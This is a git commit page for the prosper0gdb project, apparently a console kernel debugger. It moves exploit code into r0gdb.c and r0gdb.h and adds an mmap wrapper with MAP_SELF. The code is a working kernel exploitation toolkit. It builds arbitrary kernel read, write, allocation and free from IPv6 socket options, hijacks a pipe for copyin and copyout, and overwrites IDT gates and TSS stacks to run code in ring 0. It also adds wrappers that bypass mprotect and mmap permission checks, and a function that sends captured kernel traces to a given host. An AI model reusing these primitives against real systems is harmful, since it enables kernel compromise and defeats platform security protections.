prosper0gdb: add MAP_SELF (unstable yet)

This commit is contained in:
Sergey Lisov committed 2022-11-03 20:11:44 +03:00
1 parent 975ef52fc4
commit 0fdced7ff3
4 files changed
+562 -439

No files matched your search

+2 -2
View File
@@ -9,8 +9,8 @@ clean:
r0run.o: r0run.asm
yasm -f elf64 r0run.asm
payload.elf: ../lib/lib.a main.c r0run.o
gcc -O0 -g -isystem ../freebsd-headers -nostdinc -nostdlib -fno-stack-protector -static ../lib/lib.a main.c r0run.o dbg.c -o payload.elf -fPIE -ffreestanding
payload.elf: ../lib/lib.a main.c r0gdb.c dbg.c r0run.o
gcc -O0 -g -isystem ../freebsd-headers -nostdinc -nostdlib -fno-stack-protector -static ../lib/lib.a main.c r0gdb.c r0run.o dbg.c -o payload.elf -fPIE -ffreestanding
payload.bin: payload.elf
objcopy payload.elf --only-section .text --only-section .data --only-section .bss --only-section .rodata -O binary payload.bin
+2 -437
View File
@@ -1,446 +1,11 @@
#include "../gdb_stub/dbg.h"
#include "../gdb_stub/trap_state.h"
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <sys/ucontext.h>
#include <sys/cpuset.h>
#include <machine/sysarch.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
int master_fd;
int victim_fd;
uintptr_t victim_pktopts;
uintptr_t kdata_base;
void* malloc(size_t size)
{
return mmap(0, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);
}
uint64_t kread8(uint64_t ptr)
{
uint64_t offset = 0;
if(ptr % 4096 >= 4076)
{
offset = ptr % 4096 - 4076;
if(offset >= 12)
offset = 12;
}
else if(ptr % 256 == 255)
offset = 1;
char buf[20] = {0};
*(uint64_t*)buf = ptr - offset;
setsockopt(master_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, 20);
socklen_t l = 20;
getsockopt(victim_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, &l);
return *(uint64_t*)(buf + offset);
}
int kwrite20(uint64_t ptr, uint64_t a, uint64_t b, uint32_t c)
{
char buf[20] = {0};
*(uint64_t*)buf = ptr;
setsockopt(master_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, 20);
*(uint64_t*)buf = a;
*(uint64_t*)(buf + 8) = b;
*(uint32_t*)(buf + 16) = c;
return setsockopt(victim_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, 20);
}
int set_rthdr_size(int sock, int size)
{
int len = ((size / 8) - 1) & ~1;
int sz = (len + 1) * 8;
char buf[2048] = {0};
buf[1] = len;
buf[3] = len / 2;
return setsockopt(sock, IPPROTO_IPV6, IPV6_RTHDR, buf, sz);
}
uint64_t kmalloc(int sz)
{
if(sz > 2048)
return 0;
if(sz < 32)
sz = 32;
kwrite20(victim_pktopts+112, 0, 1, 0);
kwrite20(victim_pktopts+120, 0, 1, 0);
set_rthdr_size(victim_fd, sz);
uint64_t addr = kread8(victim_pktopts+112);
kwrite20(victim_pktopts+112, 0, 1, 0);
kwrite20(victim_pktopts+120, 0, 1, 0);
return addr;
}
int kfree(uint64_t ptr)
{
kwrite20(victim_pktopts+112, ptr, 0, 0);
return setsockopt(victim_fd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
}
static int the_pipe[2];
uint64_t proc;
uint64_t ofiles;
uint64_t rpipe;
static void init_pipe(void)
{
pipe(the_pipe);
proc = kread8(kdata_base + 0x27edcb8);
while(proc && (int)kread8(proc+0xbc) != getpid())
proc = kread8(proc);
if(!proc)
*(void* volatile*)0;
ofiles = kread8(kread8(proc+0x48));
rpipe = kread8(kread8(ofiles+8+48*the_pipe[0]));
}
ssize_t copyout(void* dst, uint64_t src, size_t count)
{
if(kwrite20(rpipe, 0x4000000040000000, 0x4000000000000000, 0))
*(void* volatile*)0;
if(kwrite20(rpipe+15, (src<<8)|0x40, src>>56, 0))
*(void* volatile*)0;
getpid(); //leaks td_retval offset
return read(the_pipe[0], dst, count);
}
ssize_t copyin(uint64_t dst, const void* src, size_t count)
{
if(kwrite20(rpipe, 0, 0x4000000000000000, 0))
*(void* volatile*)0;
if(kwrite20(rpipe+15, (dst<<8)|0x40, dst>>56, 0))
*(void* volatile*)0;
return write(the_pipe[1], src, count);
}
void* dlsym(void*, const char*);
uint64_t get_thread(void)
{
int tid = *((int*(*)(void))dlsym((void*)0x2001, "pthread_self"))();
for(uint64_t thr = kread8(proc+16); thr; thr = kread8(thr+16))
if((int)kread8(thr+0x9c) == tid)
return thr;
return 0;
}
const void* memmem(const void* a, size_t sz1, const void* b, size_t sz2)
{
for(size_t i = 0; i + sz2 <= sz1; i++)
{
int ok = 1;
const char* p1 = a;
p1 += i;
const char* p2 = b;
for(size_t j = 0; j < sz2 && ok; j++)
if(p1[j] != p2[j])
ok = 0;
if(ok)
return p1;
}
return 0;
}
void* hammer_thread(void* arg)
{
for(;;)
setsockopt(victim_fd, IPPROTO_IPV6, IPV6_PKTINFO, arg, 20);
}
int* cpuid(int which, int* out)
{
asm volatile("cpuid":"=a"(out[0]),"=c"(out[1]),"=d"(out[2]),"=b"(out[3]):"a"(which));
return out;
}
int set_sigaltstack(void)
{
stack_t stk = {
.ss_sp = malloc(65536),
.ss_size = 65536,
.ss_flags = 0
};
if(sigaltstack(&stk, 0))
return -1;
for(int i = 1; i < 32; i++)
{
struct sigaction sa;
if(sigaction(i, 0, &sa))
return -1;
sa.sa_flags |= SA_ONSTACK;
if(sigaction(i, &sa, 0))
return -1;
}
return 0;
}
extern int in_signal_handler;
int gdbstub_main_loop(struct trap_state* ts, ssize_t* result, int* ern);
void run_in_kernel(struct regs*);
static uint64_t kstack;
uint64_t kframe;
uint64_t uretframe;
static void r0gdb_setup(int do_swapgs)
{
static int init_run = 0;
if(init_run)
return;
//pin ourselves to cpu 2 (13 in apic order)
char affinity[16] = {4};
cpuset_setaffinity(3, 1, *((int*(*)())dlsym((void*)0x2001, "pthread_self"))(), 16, (void*)affinity);
//resolve addresses
uint64_t gdt = kdata_base + 0x64cee30;
uint64_t idt = kdata_base + 0x64cdc80;
uint64_t tss = kdata_base + 0x64d0830;
uint64_t tss13 = tss + 13 * 0x68;
volatile uint64_t iret = kdata_base - 0x9cf84c;
volatile uint64_t add_rsp_0xe8_iret = iret - 7;
volatile uint64_t swapgs_add_rsp_0xe8_iret = iret - 10;
uint64_t memcpy_addr = kdata_base - 0x990a55;
//set up stacks
uint64_t gadget_stack = kmalloc(2048);
char utss[0x68];
copyout(utss, tss13, 0x68);
kstack = *(volatile uint64_t*)(utss+0x3c) - 0x28;
*(volatile uint64_t*)(utss+0x34) = gadget_stack + 0xe0;
*(volatile uint64_t*)(utss+0x3c) = gadget_stack + 0x1f0;
*(volatile uint64_t*)(utss+0x4c) = gadget_stack + 0x440;
copyin(tss13, utss, 0x68);
uint64_t tframe = gadget_stack + 0x1a0;
kframe = gadget_stack + 0x1c8;
uretframe = gadget_stack + 0x2b0;
//set up trampoline frame
kwrite20(tframe, iret, 0x20, 0);
kwrite20(tframe+16, 2, kframe, 0);
//set up int179 frames
kwrite20(gadget_stack+0x408, 0, iret, 0);
kwrite20(gadget_stack+0x500, memcpy_addr, 0x20, 0);
kwrite20(gadget_stack+0x510, 0x40002, gadget_stack+0x408, 0);
//set up gates
volatile char* addr = do_swapgs ? (void*)&swapgs_add_rsp_0xe8_iret : (void*)&add_rsp_0xe8_iret;
char gate[16] = {0};
gate[0] = addr[0];
gate[1] = addr[1];
gate[2] = 0x20;
gate[4] = 4;
gate[5] = 0x8e;
gate[6] = addr[2];
gate[7] = addr[3];
gate[8] = addr[4];
gate[9] = addr[5];
gate[10] = addr[6];
gate[11] = addr[7];
copyin(idt+1*16, gate, 16);
gate[4] = 3;
gate[5] = 0xee;
copyin(idt+9*16, gate, 16);
gate[4] = 6;
copyin(idt+179*16, gate, 16);
init_run = 1;
}
void r0gdb_exit(void)
{
//no-op, checked by comparing rip
}
static void r0gdb_loop(void)
{
struct trap_state ts = {0};
ts.trap_signal = SIGTRAP;
ts.regs.rsp = kstack;
ts.regs.eflags = 0x102;
for(;;)
{
while(__atomic_exchange_n(&in_signal_handler, 1, __ATOMIC_ACQUIRE));
gdbstub_main_loop(&ts, 0, 0);
__atomic_exchange_n(&in_signal_handler, 0, __ATOMIC_RELEASE);
ts.regs.eflags &= ~0x200;
ts.regs.eflags |= 0x102;
if((void*)ts.regs.rip == (void*)r0gdb_exit)
break;
run_in_kernel(&ts.regs);
}
}
void r0gdb(void)
{
r0gdb_setup(1);
r0gdb_loop();
}
static uint64_t r0gdb_rdmsr(uint32_t ecx)
{
struct regs regs = {0};
regs.rip = kdata_base - 0x9d0cfa;
regs.rsp = kstack;
regs.rcx = ecx;
regs.eflags = 0x102;
run_in_kernel(&regs);
return regs.rdx << 32 | regs.rax;
}
static void r0gdb_wrmsr(uint32_t ecx, uint64_t value)
{
struct regs regs = {0};
regs.rip = kdata_base - 0x9cf8bb;
regs.rsp = kstack;
regs.rcx = ecx;
regs.rax = value;
regs.rdx = value >> 32;
regs.eflags = 0x102;
run_in_kernel(&regs);
}
uint64_t trace_base;
uint64_t trace_start;
uint64_t trace_end;
void(*trace_prog)(uint64_t*);
extern char ret2trace[];
static void r0gdb_trace(size_t trace_size)
{
static int tracing = 0;
if(!tracing)
{
r0gdb_setup(0);
r0gdb_wrmsr(0xc0000084, r0gdb_rdmsr(0xc0000084) & -0x101);
char* stack = mmap(0, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
mlock(stack, 16384);
stack[0] = 1;
mlock(stack, 16384);
uint64_t urf[5] = {(uintptr_t)ret2trace, 0x43, 2, (uintptr_t)stack+16384, 0x3b};
copyin(uretframe, urf, sizeof(urf));
tracing = 1;
}
char* tracebuf = 0;
if(trace_size)
tracebuf = mmap(0, trace_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
mlock(tracebuf, trace_size);
for(size_t i = 0; i < trace_size; i += 4096)
tracebuf[i] = (uint8_t)i;
mlock(tracebuf, trace_size);
trace_base = (uint64_t)tracebuf;
trace_start = trace_base;
trace_end = trace_base + trace_size;
}
static void r0gdb_trace_reset(void)
{
trace_start = trace_base;
}
static int r0gdb_trace_send(const char* ipaddr, int port)
{
uint32_t ip = 0;
int shift = 0;
for(int i = 0; i < 4; i++)
{
int q = 0;
while(*ipaddr >= '0' && *ipaddr <= '9')
q = 10 * q + (*ipaddr++) - '0';
ipaddr++;
ip |= q << shift;
shift += 8;
}
int sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return -1;
struct sockaddr_in conn = {
.sin_family = AF_INET,
.sin_addr = { .s_addr = ip },
.sin_port = port >> 8 | port << 8,
};
if(connect(sock, (void*)&conn, sizeof(conn)))
{
close(sock);
return -1;
}
char* p = (char*)trace_base;
size_t sz = trace_start - trace_base;
while(sz)
{
ssize_t chk = write(sock, p, sz);
if(chk <= 0)
{
close(sock);
return -1;
}
p += chk;
sz -= chk;
}
close(sock);
return 0;
}
static void clear_tf(int sig, siginfo_t* s, void* o_uc)
{
ucontext_t* uc = (ucontext_t*)o_uc;
mcontext_t* mc = (mcontext_t*)(((char*)&uc->uc_mcontext)+48); // wtf??
mc->mc_rflags &= -257;
}
static void r0gdb_instrument(size_t size)
{
static int instrumented = 0;
if(instrumented)
return;
r0gdb_trace(size);
struct sigaction sa = {
.sa_sigaction = clear_tf,
.sa_flags = SA_SIGINFO
};
sigaction(SIGTRAP, &sa, 0);
instrumented = 1;
}
static void set_trace(void)
{
uint64_t q;
asm volatile("pop %0\npushfq\norb $1, 1(%%rsp)\npopfq\npush %0":"=r"(q));
}
static void fix_mprotect(uint64_t* regs)
{
if(regs[0] == kdata_base - 0x90ac61)
regs[0] += 6;
}
int mprotect20(void* addr, size_t sz, int prot)
{
r0gdb_instrument(0);
int(*p_mprotect)(void*, size_t, int) = dlsym((void*)0x2001, "mprotect");
trace_prog = fix_mprotect;
set_trace();
int ans = p_mprotect(addr, sz, prot);
p_mprotect = 0;
}
uint64_t other_thread;
void* other_thread_fn(void*)
{
other_thread = get_thread();
((int(*)())dlsym((void*)0x2001, "sceKernelSleep"))(10000000);
}
void r0gdb_init(void* ds, int a, int b, uintptr_t c, uintptr_t d);
int main(void* ds, int a, int b, uintptr_t c, uintptr_t d)
{
master_fd = a;
victim_fd = b;
victim_pktopts = c;
kdata_base = d;
init_pipe();
r0gdb_init(ds, a, b, c, d);
dbg_enter();
return 0; //p r0gdb() for magic
}
+499
View File
@@ -0,0 +1,499 @@
#include "../gdb_stub/dbg.h"
#include "../gdb_stub/trap_state.h"
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <sys/ucontext.h>
#include <sys/cpuset.h>
#include <machine/sysarch.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include "r0gdb.h"
#define CPU_2 //TODO: run on any cpu
static int master_fd;
static int victim_fd;
static uintptr_t victim_pktopts;
uintptr_t kdata_base;
static void* malloc(size_t size)
{
return mmap(0, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);
}
uint64_t kread8(uint64_t ptr)
{
uint64_t offset = 0;
if(ptr % 4096 >= 4076)
{
offset = ptr % 4096 - 4076;
if(offset >= 12)
offset = 12;
}
else if(ptr % 256 == 255)
offset = 1;
char buf[20] = {0};
*(uint64_t*)buf = ptr - offset;
setsockopt(master_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, 20);
socklen_t l = 20;
getsockopt(victim_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, &l);
return *(uint64_t*)(buf + offset);
}
int kwrite20(uint64_t ptr, uint64_t a, uint64_t b, uint32_t c)
{
char buf[20] = {0};
*(uint64_t*)buf = ptr;
setsockopt(master_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, 20);
*(uint64_t*)buf = a;
*(uint64_t*)(buf + 8) = b;
*(uint32_t*)(buf + 16) = c;
return setsockopt(victim_fd, IPPROTO_IPV6, IPV6_PKTINFO, buf, 20);
}
static int set_rthdr_size(int sock, int size)
{
int len = ((size / 8) - 1) & ~1;
int sz = (len + 1) * 8;
char buf[2048] = {0};
buf[1] = len;
buf[3] = len / 2;
return setsockopt(sock, IPPROTO_IPV6, IPV6_RTHDR, buf, sz);
}
uint64_t kmalloc(int sz)
{
if(sz > 2048)
return 0;
if(sz < 32)
sz = 32;
kwrite20(victim_pktopts+112, 0, 1, 0);
kwrite20(victim_pktopts+120, 0, 1, 0);
set_rthdr_size(victim_fd, sz);
uint64_t addr = kread8(victim_pktopts+112);
kwrite20(victim_pktopts+112, 0, 1, 0);
kwrite20(victim_pktopts+120, 0, 1, 0);
return addr;
}
int kfree(uint64_t ptr)
{
kwrite20(victim_pktopts+112, ptr, 0, 0);
return setsockopt(victim_fd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
}
static int the_pipe[2];
uint64_t proc;
uint64_t ofiles;
uint64_t rpipe;
static void init_pipe(void)
{
pipe(the_pipe);
proc = kread8(kdata_base + 0x27edcb8);
while(proc && (int)kread8(proc+0xbc) != getpid())
proc = kread8(proc);
if(!proc)
*(void* volatile*)0;
ofiles = kread8(kread8(proc+0x48));
rpipe = kread8(kread8(ofiles+8+48*the_pipe[0]));
}
ssize_t copyout(void* dst, uint64_t src, size_t count)
{
if(kwrite20(rpipe, 0x4000000040000000, 0x4000000000000000, 0))
*(void* volatile*)0;
if(kwrite20(rpipe+15, (src<<8)|0x40, src>>56, 0))
*(void* volatile*)0;
getpid(); //leaks td_retval offset
return read(the_pipe[0], dst, count);
}
ssize_t copyin(uint64_t dst, const void* src, size_t count)
{
if(kwrite20(rpipe, 0, 0x4000000000000000, 0))
*(void* volatile*)0;
if(kwrite20(rpipe+15, (dst<<8)|0x40, dst>>56, 0))
*(void* volatile*)0;
return write(the_pipe[1], src, count);
}
void* dlsym(void*, const char*);
static uint64_t get_thread(void)
{
int tid = *((int*(*)(void))dlsym((void*)0x2001, "pthread_self"))();
for(uint64_t thr = kread8(proc+16); thr; thr = kread8(thr+16))
if((int)kread8(thr+0x9c) == tid)
return thr;
return 0;
}
static const void* memmem(const void* a, size_t sz1, const void* b, size_t sz2)
{
for(size_t i = 0; i + sz2 <= sz1; i++)
{
int ok = 1;
const char* p1 = a;
p1 += i;
const char* p2 = b;
for(size_t j = 0; j < sz2 && ok; j++)
if(p1[j] != p2[j])
ok = 0;
if(ok)
return p1;
}
return 0;
}
static void* hammer_thread(void* arg)
{
for(;;)
setsockopt(victim_fd, IPPROTO_IPV6, IPV6_PKTINFO, arg, 20);
}
static int* cpuid(int which, int* out)
{
asm volatile("cpuid":"=a"(out[0]),"=c"(out[1]),"=d"(out[2]),"=b"(out[3]):"a"(which));
return out;
}
static int set_sigaltstack(void)
{
stack_t stk = {
.ss_sp = malloc(65536),
.ss_size = 65536,
.ss_flags = 0
};
if(sigaltstack(&stk, 0))
return -1;
for(int i = 1; i < 32; i++)
{
struct sigaction sa;
if(sigaction(i, 0, &sa))
return -1;
sa.sa_flags |= SA_ONSTACK;
if(sigaction(i, &sa, 0))
return -1;
}
return 0;
}
extern int in_signal_handler;
int gdbstub_main_loop(struct trap_state* ts, ssize_t* result, int* ern);
void run_in_kernel(struct regs*);
static uint64_t kstack;
uint64_t kframe;
uint64_t uretframe;
void r0gdb_setup(int do_swapgs)
{
static int init_run = 0;
if(init_run)
return;
#ifdef CPU_2
//pin ourselves to cpu 2 (13 in apic order)
char affinity[16] = {4};
cpuset_setaffinity(3, 1, *((int*(*)())dlsym((void*)0x2001, "pthread_self"))(), 16, (void*)affinity);
#endif
//resolve addresses
uint64_t gdt = kdata_base + 0x64cee30;
uint64_t idt = kdata_base + 0x64cdc80;
uint64_t tss = kdata_base + 0x64d0830;
volatile uint64_t iret = kdata_base - 0x9cf84c;
volatile uint64_t add_rsp_0xe8_iret = iret - 7;
volatile uint64_t swapgs_add_rsp_0xe8_iret = iret - 10;
uint64_t memcpy_addr = kdata_base - 0x990a55;
//set up alternative stacks on all cpus
uint64_t gadget_stack = kmalloc(2048);
#ifdef CPU_2
int cpu = 13;
#else
for(int cpu = 0; cpu < 16; cpu++)
#endif
{
uint64_t tss_for_cpu = tss + cpu * 0x68;
char utss[0x68];
copyout(utss, tss_for_cpu, 0x68);
if(cpu == 13)
kstack = *(volatile uint64_t*)(utss+0x3c) - 0x28;
*(volatile uint64_t*)(utss+0x34) = gadget_stack + 0xe0;
*(volatile uint64_t*)(utss+0x3c) = gadget_stack + 0x1f0;
*(volatile uint64_t*)(utss+0x4c) = gadget_stack + 0x440;
copyin(tss_for_cpu, utss, 0x68);
}
uint64_t tframe = gadget_stack + 0x1a0;
kframe = gadget_stack + 0x1c8;
uretframe = gadget_stack + 0x2b0;
//set up trampoline frame
kwrite20(tframe, iret, 0x20, 0);
kwrite20(tframe+16, 2, kframe, 0);
//set up int179 frames
kwrite20(gadget_stack+0x408, 0, iret, 0);
kwrite20(gadget_stack+0x500, memcpy_addr, 0x20, 0);
kwrite20(gadget_stack+0x510, 0x40002, gadget_stack+0x408, 0);
//set up gates
volatile char* addr = do_swapgs ? (void*)&swapgs_add_rsp_0xe8_iret : (void*)&add_rsp_0xe8_iret;
char gate[16] = {0};
gate[0] = addr[0];
gate[1] = addr[1];
gate[2] = 0x20;
gate[4] = 4;
gate[5] = 0x8e;
gate[6] = addr[2];
gate[7] = addr[3];
gate[8] = addr[4];
gate[9] = addr[5];
gate[10] = addr[6];
gate[11] = addr[7];
copyin(idt+1*16, gate, 16);
gate[4] = 3;
gate[5] = 0xee;
copyin(idt+9*16, gate, 16);
gate[4] = 6;
copyin(idt+179*16, gate, 16);
init_run = 1;
}
void r0gdb_exit(void)
{
//no-op, checked by comparing rip
}
static void r0gdb_loop(void)
{
struct trap_state ts = {0};
ts.trap_signal = SIGTRAP;
ts.regs.rsp = kstack;
ts.regs.eflags = 0x102;
for(;;)
{
while(__atomic_exchange_n(&in_signal_handler, 1, __ATOMIC_ACQUIRE));
gdbstub_main_loop(&ts, 0, 0);
__atomic_exchange_n(&in_signal_handler, 0, __ATOMIC_RELEASE);
ts.regs.eflags &= ~0x200;
ts.regs.eflags |= 0x102;
if((void*)ts.regs.rip == (void*)r0gdb_exit)
break;
run_in_kernel(&ts.regs);
}
}
void r0gdb(void)
{
r0gdb_setup(1);
r0gdb_loop();
}
uint64_t r0gdb_rdmsr(uint32_t ecx)
{
struct regs regs = {0};
regs.rip = kdata_base - 0x9d0cfa;
regs.rsp = kstack;
regs.rcx = ecx;
regs.eflags = 0x102;
run_in_kernel(&regs);
return regs.rdx << 32 | regs.rax;
}
void r0gdb_wrmsr(uint32_t ecx, uint64_t value)
{
struct regs regs = {0};
regs.rip = kdata_base - 0x9cf8bb;
regs.rsp = kstack;
regs.rcx = ecx;
regs.rax = value;
regs.rdx = value >> 32;
regs.eflags = 0x102;
run_in_kernel(&regs);
}
uint64_t trace_base;
uint64_t trace_start;
uint64_t trace_end;
void(*trace_prog)(uint64_t*);
extern char ret2trace[];
void r0gdb_trace(size_t trace_size)
{
static int tracing = 0;
if(!tracing)
{
r0gdb_setup(0);
r0gdb_wrmsr(0xc0000084, r0gdb_rdmsr(0xc0000084) & -0x101);
char* stack = mmap(0, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
mlock(stack, 16384);
stack[0] = 1;
mlock(stack, 16384);
uint64_t urf[5] = {(uintptr_t)ret2trace, 0x43, 2, (uintptr_t)stack+16384, 0x3b};
copyin(uretframe, urf, sizeof(urf));
tracing = 1;
}
char* tracebuf = 0;
if(trace_size)
tracebuf = mmap(0, trace_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
mlock(tracebuf, trace_size);
for(size_t i = 0; i < trace_size; i += 4096)
tracebuf[i] = (uint8_t)i;
mlock(tracebuf, trace_size);
trace_base = (uint64_t)tracebuf;
trace_start = trace_base;
trace_end = trace_base + trace_size;
}
void r0gdb_trace_reset(void)
{
trace_start = trace_base;
}
int r0gdb_trace_send(const char* ipaddr, int port)
{
uint32_t ip = 0;
int shift = 0;
for(int i = 0; i < 4; i++)
{
int q = 0;
while(*ipaddr >= '0' && *ipaddr <= '9')
q = 10 * q + (*ipaddr++) - '0';
ipaddr++;
ip |= q << shift;
shift += 8;
}
int sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return -1;
struct sockaddr_in conn = {
.sin_family = AF_INET,
.sin_addr = { .s_addr = ip },
.sin_port = port >> 8 | port << 8,
};
if(connect(sock, (void*)&conn, sizeof(conn)))
{
close(sock);
return -1;
}
char* p = (char*)trace_base;
size_t sz = trace_start - trace_base;
while(sz)
{
ssize_t chk = write(sock, p, sz);
if(chk <= 0)
{
close(sock);
return -1;
}
p += chk;
sz -= chk;
}
close(sock);
return 0;
}
static void clear_tf(int sig, siginfo_t* s, void* o_uc)
{
ucontext_t* uc = (ucontext_t*)o_uc;
mcontext_t* mc = (mcontext_t*)(((char*)&uc->uc_mcontext)+48); // wtf??
mc->mc_rflags &= -257;
}
void r0gdb_instrument(size_t size)
{
static int instrumented = 0;
if(instrumented)
return;
r0gdb_trace(size);
struct sigaction sa = {
.sa_sigaction = clear_tf,
.sa_flags = SA_SIGINFO
};
sigaction(SIGTRAP, &sa, 0);
instrumented = 1;
}
static void set_trace(void)
{
uint64_t q;
asm volatile("pop %0\npushfq\norb $1, 1(%%rsp)\npopfq\npush %0":"=r"(q));
}
/*static int count = 0;
static void eat_count(uint64_t* regs)
{
if(count == 0)
regs[2] &= -257;
count--;
}*/
static uint64_t* jprog = 0;
static void do_jprog(uint64_t* regs)
{
for(int i = 0; jprog[i]; i += 2)
if(regs[0] == jprog[i])
{
regs[0] = jprog[i+1];
break;
}
}
static void fix_mprotect(uint64_t* regs)
{
if(regs[0] == kdata_base - 0x90ac61)
regs[0] += 6;
}
int mprotect20(void* addr, size_t sz, int prot)
{
r0gdb_instrument(0);
int(*p_mprotect)(void*, size_t, int) = dlsym((void*)0x2001, "mprotect");
trace_prog = fix_mprotect;
set_trace();
int ans = p_mprotect(addr, sz, prot);
trace_prog = 0;
return ans;
}
static void fix_mmap_self(uint64_t* regs)
{
if(regs[0] == kdata_base - 0x1df2ce)
{
regs[0] += 2;
regs[2] &= -257;
}
}
void* mmap20(void* addr, size_t sz, int prot, int flags, int fd, off_t offset)
{
r0gdb_instrument(0);
void*(*p_mmap)(void*, size_t, int, int, int, off_t) = dlsym((void*)0x2001, "mmap");
trace_prog = fix_mmap_self;
set_trace();
void* ans = p_mmap(addr, sz, prot, flags, fd, offset);
trace_prog = 0;
return ans;
}
static uint64_t other_thread;
static void* other_thread_fn(void*)
{
other_thread = get_thread();
((int(*)())dlsym((void*)0x2001, "sceKernelSleep"))(10000000);
}
void r0gdb_init(void* ds, int a, int b, uintptr_t c, uintptr_t d)
{
master_fd = a;
victim_fd = b;
victim_pktopts = c;
kdata_base = d;
init_pipe();
}
+59
View File
@@ -0,0 +1,59 @@
#pragma once
#include <sys/types.h>
/* krw utils */
uint64_t kread8(uint64_t ptr);
int kwrite20(uint64_t ptr, uint64_t a, uint64_t b, uint32_t c);
uint64_t kmalloc(int sz);
int kfree(uint64_t ptr);
ssize_t copyout(void* dst, uint64_t src, size_t count);
ssize_t copyin(uint64_t dst, const void* src, size_t count);
/* init */
//call before everything
void r0gdb_init(void* ds, int a, int b, uintptr_t c, uintptr_t d);
//set up for interactive gdb
void r0gdb_setup(int do_swapgs);
//set up for trace capture
void r0gdb_trace(size_t trace_size);
//set up for instrumentation
void r0gdb_instrument(size_t trace_size);
//call from kernel gdb to exit
void r0gdb_exit(void);
//call to enter kernel gdb
void r0gdb(void);
//rdmsr & wrmsr (after r0gdb_setup only)
uint64_t r0gdb_rdmsr(uint32_t ecx);
void r0gdb_wrmsr(uint32_t ecx, uint64_t value);
//netcat captured trace to specified ip & port
int r0gdb_trace_send(const char* ipaddr, int port);
//clear captured trace
void r0gdb_trace_reset(void);
/* utils */
//mprotect with disabled permission checks
int mprotect20(void* addr, size_t sz, int prot);
//mmap with map_self
void* mmap20(void* addr, size_t sz, int prot, int flags, int fd, off_t offset);
/* internals */
extern uint64_t kframe;
extern uint64_t uretframe;
extern uint64_t trace_base;
extern uint64_t trace_start;
extern uint64_t trace_end;
extern void(*trace_prog)(uint64_t*);